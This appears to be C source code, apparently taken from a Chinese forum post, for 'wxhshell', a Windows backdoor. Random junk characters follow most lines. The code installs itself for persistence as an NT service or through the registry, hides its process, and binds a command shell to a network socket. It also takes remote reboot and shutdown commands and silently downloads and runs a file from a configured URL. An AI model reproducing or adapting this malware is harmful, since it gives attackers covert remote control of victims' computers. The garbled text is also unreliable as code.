  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mtunD;_Dek  
  } KqI<#hUl  
  else { ZJ Ke}F`l  
{#o0vWS>  
    switch(cmd[0]) { _hz}I>G@B  
  1;8%\r[|5^  
  // 帮助 R5KOai!  
  case '?': { iXsX@ S^F  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xB<^ar  
    break; RcG 1J7#i  
  } 9N@m><N84  
  // 安装 (<ZpT%2  
  case 'i': { 7XU$O$C  
    if(Install()) r|,_qNrw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4v?}K   
    else E'ay @YAp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K275{ydN  
    break; )nM<qaI{  
    } ZCC T  
  // 卸载 `:>N.9'o  
  case 'r': { :I !}ZD+Z  
    if(Uninstall()) !+(c/ gwBh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mNk@WY_F  
    else CAT{)*xc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Zk:_Yiki&  
    break; V<&^zIJUR  
    } L}M%z9K` h  
  // 显示 wxhshell 所在路径 m<liPl uv  
  case 'p': { "PePiW(i+  
    char svExeFile[MAX_PATH]; vXLGdv::  
    strcpy(svExeFile,"\n\r"); :6[G;F7s  
      strcat(svExeFile,ExeFile); # H)\ts  
        send(wsh,svExeFile,strlen(svExeFile),0); /:.p{y  
    break; rf=oH }  
    } bHK[Z5  
  // 重启 N# <X"&-_#  
  case 'b': { X@pcL{T!  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); LF X[v   
    if(Boot(REBOOT)) 1/tyne=m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K0'= O  
    else { V M{Sng  
    closesocket(wsh); *bl|[(pP  
    ExitThread(0); q5G`N>"V  
    } Ov~vK\  
    break; H.]p\ UY9  
    } ecMpU8}rR  
  // 关机 E|"QYsi.Ck  
  case 'd': { .Mxt F\  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); oEJxey]B7  
    if(Boot(SHUTDOWN)) 9WT{~PGj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xFA+Zj BC  
    else { j*_>/gi  
    closesocket(wsh); U&o ~U] rm  
    ExitThread(0); `1i\8s&O6@  
    } -?L3"rxAP  
    break; CuFlI?~8 z  
    } *]>~lO1  
  // 获取shell T?KM}<$(O  
  case 's': { f3SAK!V+s  
    CmdShell(wsh); d;g]OeF  
    closesocket(wsh); J?/NJ-F  
    ExitThread(0); Exz(t'  
    break; 7b*9 Th*a  
  } M!Ywjvw*)3  
  // 退出 ]T>|Y0|  
  case 'x': { S #C;"se  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); H><! C  
    CloseIt(wsh); >a)6GZ@  
    break; =zRjb>  
    } J:dNV <A^  
  // 离开 :1gcLsF  
  case 'q': { 2>vn'sXdj  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); = /kT|  
    closesocket(wsh); X=[`+=  
    WSACleanup(); 7 aN}l QM  
    exit(1); _/5xtupxE  
    break; BFPy~5W  
        } '<aFd)-  
  } xz){RkVzP  
  } V&R_A~<T  
(P 9$Ei0fv  
  // 提示信息 Mo&Po9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ee*E:Ltz\  
} cpQhg-LY|  
  } ,,~|o3cfq  
q&@q /9kz  
  return; ePY69!pO5e  
} cxxrvP-  
}>?"bcJ  
// shell模块句柄 2@f?yh0  
int CmdShell(SOCKET sock) 4fau 9bW  
{ 3k* U/*  
STARTUPINFO si; AjMx\'(C  
ZeroMemory(&si,sizeof(si)); 7_]Bu<{f  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8p.O rdp  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; fMIKA72>{  
PROCESS_INFORMATION ProcessInfo; ~ MW_=6U  
char cmdline[]="cmd"; E{E%nXR)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); c{cJ>d 0  
  return 0; QiQO>r  
} :a y-2  
`KJ BQK  
// 自身启动模式 q /^&si  
int StartFromService(void) Q~G>=J9  
{ Pt8 U0)i)  
typedef struct S`&YY89{&  
{ H8?Kgaj~vf  
  DWORD ExitStatus; 5mF"nY&lI  
  DWORD PebBaseAddress; L }&$5KiwV  
  DWORD AffinityMask; Qh@A7N/L  
  DWORD BasePriority; ypsT: uLT  
  ULONG UniqueProcessId; *8j2iu-|  
  ULONG InheritedFromUniqueProcessId; 3bPF+(`J  
}   PROCESS_BASIC_INFORMATION; mdPEF)-  
Vq1v e;(8s  
PROCNTQSIP NtQueryInformationProcess; V-%Am  
FT.;}!"l  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Z}4 `y"By  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; k-a3oLCR,  
KsBi<wY  
  HANDLE             hProcess; q$ 6Tb  
  PROCESS_BASIC_INFORMATION pbi; J,j!  
<X1^w  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); U> s$}Y:+Z  
  if(NULL == hInst ) return 0; q+Cq&|4 ?2  
5rx;?yvn  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); CN, oH4IU  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &o$Pwk\p/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); NM_Xy<.~E  
#DFfySH)A  
  if (!NtQueryInformationProcess) return 0; O5eTkKUc  
e4/Y/:vFO  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =vZF/r  
  if(!hProcess) return 0; wc#E:GJcK  
q2C._{ 0'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .y~vn[qN  
x[5uz))  
  CloseHandle(hProcess); U%nLo[k  
:7-2^7z)  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,aBo p#  
if(hProcess==NULL) return 0; _wKaFf  
-*T<^G;rK  
HMODULE hMod; aEW sru  
char procName[255]; n6Qsug$z  
unsigned long cbNeeded; l mRd l>  
W dNOE;R  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); F+3}Gkn  
gLL8-T[9  
  CloseHandle(hProcess); hPB^|#}  
bYKe5y=  
if(strstr(procName,"services")) return 1; // 以服务启动 Btgxzf  
s}3`%?,6y  
  return 0; // 注册表启动 awic9 uMH  
} %2jRJ  
OmR) W'  
// 主模块 *VPj BzcH  
int StartWxhshell(LPSTR lpCmdLine) .h7`Q{  
{ lEWF~L5=:  
  SOCKET wsl; L H8iHB  
BOOL val=TRUE; e(~9JP9  
  int port=0; <X b B;  
  struct sockaddr_in door; $ rU"Krf67  
/eO :1c  
  if(wscfg.ws_autoins) Install(); 5SNa~ kC&  
y`|86` Y  
port=atoi(lpCmdLine); ;qN;oSK  
[ u.r]\[J  
if(port<=0) port=wscfg.ws_port; 15X.gx  
W:gpcR]>  
  WSADATA data; H-|%\9&{S  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %Y:"5fH  
6B=: P3Y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   -$2a@K,i  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); H6t'V%Ys  
  door.sin_family = AF_INET; 9{KL^O?g  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); kR,ry:J-  
  door.sin_port = htons(port); aVvma=  
cM hBOm*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Nm7YH@x*o  
closesocket(wsl); w5+H9R6  
return 1; :2zga=)g  
} p.^qB]%  
ouE/\4'NB  
  if(listen(wsl,2) == INVALID_SOCKET) { je`Ysben  
closesocket(wsl); iLC.?v2=  
return 1; e1OGGF%E n  
} 2if7|o$=  
  Wxhshell(wsl); I?&/J4o:  
  WSACleanup(); \5iMr[s  
D>fg  
return 0; !*1 $j7`tP  
bt{b%r  
} VtN1 [}  
*671MJ 9  
// 以NT服务方式启动 ) UCc!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;p+[R+ )  
{ ?:42jp3  
DWORD   status = 0; vvI23!H  
  DWORD   specificError = 0xfffffff; y '[VZ$^i  
48IrC_0j  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 2O 2HmL  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Uc;~q-??#  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; sg8[TFX@Z  
  serviceStatus.dwWin32ExitCode     = 0; vh#81}@N7*  
  serviceStatus.dwServiceSpecificExitCode = 0; >t_h/:JZ)  
  serviceStatus.dwCheckPoint       = 0; \i'Z(1  
  serviceStatus.dwWaitHint       = 0; k-Yli21-/|  
M u i\E  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Z%Fc -KVt  
  if (hServiceStatusHandle==0) return; o(k{Ed  
"ze-Mb  
status = GetLastError(); kV+%(Gl8  
  if (status!=NO_ERROR) KdBpfPny@  
{ 6CCm1F{`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; eaAGlEW6J  
    serviceStatus.dwCheckPoint       = 0; h UC157  
    serviceStatus.dwWaitHint       = 0; g<N;31:c\  
    serviceStatus.dwWin32ExitCode     = status; .* )e24`  
    serviceStatus.dwServiceSpecificExitCode = specificError; Q5^ #:uZ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); uGv|!UQw  
    return; <2E|URo,#  
  } rz0)S py6  
YF)]B|I  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; o1vK2V  
  serviceStatus.dwCheckPoint       = 0; Cz)&R^  
  serviceStatus.dwWaitHint       = 0; 6O <UW.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); NS65F7<&  
} %q}[ZD/HD  
P6&%`$  
// 处理NT服务事件,比如:启动、停止 Z}TLk^_[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) DXo]O}VF  
{ q)mG6Su d  
switch(fdwControl) a'-u(Bw  
{ V2!0),]B  
case SERVICE_CONTROL_STOP: y^"@$   
  serviceStatus.dwWin32ExitCode = 0; |his8\C+x  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8qqN0"{,  
  serviceStatus.dwCheckPoint   = 0; (6.uNLr  
  serviceStatus.dwWaitHint     = 0; M.K^W`  
  { 9vz\R-un  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q6W![571;  
  } .L+XV y  
  return; n>?D-)g  
case SERVICE_CONTROL_PAUSE: FpiTQC7d  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; fd4C8>*7G  
  break; n m<?oI*\  
case SERVICE_CONTROL_CONTINUE: )q[P&f(h  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Z6rhInIY  
  break; xZP*%yM  
case SERVICE_CONTROL_INTERROGATE: Kp6 @?  
  break; +ID\u <?  
}; 0:`|T jf_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); uN:KivVe  
} d)e mTXB(  
+rJ6DZ  
// 标准应用程序主函数 .G8>UXX  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +]s,VSL5`  
{ ov,|`FdU^T  
_Z Sp$>)/  
// 获取操作系统版本 P+0'^:J  
OsIsNt=GetOsVer(); >Jmla~A  
GetModuleFileName(NULL,ExeFile,MAX_PATH); F?|Efpzow?  
gLB(A\yG  
  // 从命令行安装 X58U>4a  
  if(strpbrk(lpCmdLine,"iI")) Install(); Hi A E9  
0k5-S~_\  
  // 下载执行文件 4 kjfYf@A  
if(wscfg.ws_downexe) { I@MG ?ZQ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) W!wof- 1  
  WinExec(wscfg.ws_filenam,SW_HIDE); V9,<>  
} Ifn|wrx;g  
T@tsM|pI  
if(!OsIsNt) {  SvT0%2  
// 如果时win9x,隐藏进程并且设置为注册表启动 Jv8:GgSg  
HideProc(); bGCC?}\  
StartWxhshell(lpCmdLine); l S)^8  
}  px<psR5  
else UDh \%?j  
  if(StartFromService()) V 9Qt;]mQ  
  // 以服务方式启动 c,xdkiy3  
  StartServiceCtrlDispatcher(DispatchTable); y#j7vO  
else 5c` ;~  
  // 普通方式启动 fAgeF$9@  
  StartWxhshell(lpCmdLine); {  c#US  
A?H#bRAs  
return 0; F qH))2  
}
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只看该作者 1 发表于: 2006-10-10
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